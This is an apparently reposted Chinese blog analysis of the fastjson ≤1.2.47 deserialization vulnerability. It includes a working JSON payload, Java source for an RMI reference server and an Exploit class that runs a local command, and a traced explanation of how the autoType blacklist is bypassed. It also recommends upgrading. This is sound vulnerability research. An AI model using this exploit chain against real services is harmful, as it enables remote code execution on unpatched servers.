作者:iiusky
#poc
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}
最近据说爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)
环境准备
阅读本篇文章之前建议先了解一下fastjson中的jndi漏洞利用方式。
## rmiServer.java
/** Copyright sky 2019-07-11 Email:[email protected].** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/package cn.org.javaweb.fastjsontest;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;/*** @author sky*/public class test3 {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Exloit","Exploit","http://localhost:8000/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Exploit",referenceWrapper);}}
##Exploit.java
import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory {public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {exec("xterm");return null;}public static String exec(String cmd) {try {Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");} catch (IOException e) {e.printStackTrace();}return "";}public static void main(String[] args) {exec("123");}}
##poc.java
/** Copyright sky 2019-07-11 Email:[email protected].** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/package cn.org.javaweb.fastjsontest;import com.alibaba.fastjson.JSON;/*** @author sky*/public class test5 {public static void main(String[] argv) {String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}," +""xxxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":" +""rmi://localhost:1099/Exploit","autoCommit":true}}}";JSON.parse(payload);}}
其中Exploit.java需要使用javac编译执行一次生成Exploit.class并放置在localhost:8000端口的根目录。我这边使用python简单的httpServer搭建的简易http服务器。

调用分析
调用过程和之前的 《fastjson jndi利用方式》 差不多,这边使用了一个特性绕过了黑名单机制,在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)执行逻辑中:
首先遇到的是第一个key@type,然后进行了以下的判断,如果是@type并且启用了特殊key检查的话,那么就把对应的value作为类来加载。这边摘取片段来进行展示。
if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {………… ………… …………if (object != null&&object.getClass().getName().equals(typeName)) {clazz = object.getClass();} else {clazz = config.checkAutoType(typeName, null, lexer.getFeatures());}………… ………… …………Object obj = deserializer.deserialze(this, clazz, fieldName);return obj;}
fastjson会去检测@type的类是否为黑名单中的类,

而poc中传入的@type为java.lang.class并非黑名单中的类,所以第一步检测的通过的。
接下来会把对应的value进行加载,也就是加载java.lang.class

跟进deserialze方法(com.alibaba.fastjson.serializer.MiscCodec#deserialze)


可以看到lexer中的stringVal为poc中的val,而val的值为com.sun.rowset.JdbcRowSetImpl.
接下来将objVal赋值给strVal

然后执行下面一大串if判断,其中有个if为:
如果传入的clazz为java.lang.class,则会调用TypeUtils.loadClass加载com.sun.rowset.JdbcRowSetImpl类,

跟进loadClass方法

从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测

导致将com.sun.rowset.JdbcRowSetImpl放入mapping中的问题点是在loadClass中的第三个参数,该参数是指是否对class放入缓存mapping中。
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)
1.2.47版本中的代码

1.2.48版本中的代码

##结语
文章中有不对的点欢迎指出,勿喷,文明交流
##参考
https://github.com/iBearcat/FastJson-JdbcRowSetImpl-RCEhttps://github.com/MagicZer0/fastjson-rce-exploit
原文始发于微信公众号(洛米唯熊):fastjson =< 1.2.47 反序列化漏洞浅析















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